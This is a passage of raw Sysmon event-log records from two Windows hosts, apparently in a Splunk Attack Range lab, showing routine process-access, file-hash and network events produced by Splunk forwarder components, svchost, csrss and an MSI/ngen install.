Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013755Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:36.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013754Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:36.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013753Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:36.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013752Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:36.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013751Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:36.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013750Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:36.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013749Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:36.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013748Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:36.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013747Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:36.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013746Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:36.176{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-6F18-613B-9304-00000000F101}3540C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000013745Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:36.176{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6F18-613B-9304-00000000F101}3540C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000013744Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:36.177{625C326B-6F18-613B-9304-00000000F101}3540C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000038609Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:36.022{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=820F868437C1FFBDBCD865AC841A0037,SHA256=173A3B8F7BE35DF31F29C0CF9BFF7F41476B573B378A3B4AD048FFBE80D67AA8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038613Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:37.944{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D4CDA4BF06369DC8AFF261B9D438F39F,SHA256=5A946C5C134E5458DCC87D653E3E87B5EA9B7E974CB2E3C129C46F9EA17F024D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013760Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:37.223{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2293CD5FE97B773543554C88E6D29118,SHA256=75C78AC9199FD6E7D8FBDB53DEF5B6FC018BD71F26FF931143C636C917B51BE9,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000038612Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:35.407{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59209-false10.0.1.12-8000- 23542300x800000000000000038611Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:37.085{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=DC8C6406AB1C338CB55135A238435744,SHA256=3CE6BAB73FC24D89D7F9E767AC069247F2D56B110EB2D6F8B7B5DB7B832CABDF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013759Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:37.207{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=BFEE4A91CF5CA6964B4E1145674FB41F,SHA256=BA7158C6360C46FB1E77D833781BF6207AAF7A5C24AC913ED69290197193A89F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038615Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:38.960{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1F810D4286C8330A50108C4E4AEC3A68,SHA256=0738A04FAAE8FA348CD9457C6D14BE3CEF61F81332255567F949EC4F297305C2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013761Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:38.270{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=87922532A288C0A182138688972026FF,SHA256=EC14F8BC6CEB8BAA66EEDFBE47200CC7D00C94036FF37EF9867398627AD94F43,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038614Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:38.194{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=0A6606F302ED7AA110A306B8703F3045,SHA256=160E64B8121BEC2F32D69D233D8DE89C427AEFEFD32B73DB3AD065A402EB8DB6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038617Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:39.976{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=37C0EABDB3DB1DD62BC445EF7E4ABBA9,SHA256=600DF2281EE3CE067F409B96276D2C4E91CA1287A66EEF06BE80D8D43845316C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038616Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:39.210{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=9F39E7720BCC6D7CF89DBF6A0AC5328B,SHA256=7052A6DD57753C524C79FCA482625B5F860C9E3A07681BB7D52734D079C432A0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013762Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:39.364{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=08D77B3376D754D757A664EC1361BA3A,SHA256=7FFC42310F51FB3DD28D400D23523E53C0B0C0EFFB6B49298A2D6B7ED0BE2648,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038619Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:40.991{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9990B1901AD5D075E0421670C3E0F0C1,SHA256=056691783D50A046907F2CD8E57307AFA3ABC41423E54643FCB540213AA914D9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013764Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:40.379{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3AD90BB9E5CD1F69A1DC40E3A0DF3B27,SHA256=381EB533E4355AE0B10695A3E4F7E4AA6FE86FBB89C1AB36CA87E617E6411363,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038618Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:40.320{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=2C36C532B689F30535B010D072487BCA,SHA256=C6BBBD429DD5074DC1AF2FFEDCDC90BBCBE1E55EE6C87A688CD3A98B196C4049,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000013763Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:38.476{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50107-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000013765Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:41.395{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BA0B40B51DCBDAC37057FCC2FD70ABFF,SHA256=A49C6D3E104909C215491A201504155F290131698F2E4CA6527C83BFC84DB22F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038622Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:41.524{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=7F71D7A9053E4468461233898A498D31,SHA256=3F7F5364A855909CE8522EFF36985F432A5B4E86A10BD0D035D89F602A213FAB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038621Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:41.524{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=3E6C00992039FC8C85754116579C9692,SHA256=F4325C5AA3FE39A475D2E7A9CFFECDB0D593576A20F34FDBAF82031DC1906054,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038620Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:41.413{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=DD23C1B4EAC9918C69E1178D79471F39,SHA256=D9E454555AE43F8A6FE6BD55C7E77FA5503376DFCD115EBA79BDE89F161DA80D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013766Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:42.411{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=55B78D3A79E176BCC8C4D23BC6417CD4,SHA256=477D05981F586DC79CACAC5028BC7FDFB2771F7A1A83DD24CBACFB4FE2B967BC,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038728Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.975{7BD73061-6F1E-613B-4607-00000000F001}28165876C:\Windows\system32\conhost.exe{7BD73061-6F1E-613B-4507-00000000F001}3388c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038727Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.975{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-4607-00000000F001}2816C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038726Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.960{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-4507-00000000F001}3388c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038725Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.960{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1E-613B-4507-00000000F001}3388c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038724Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 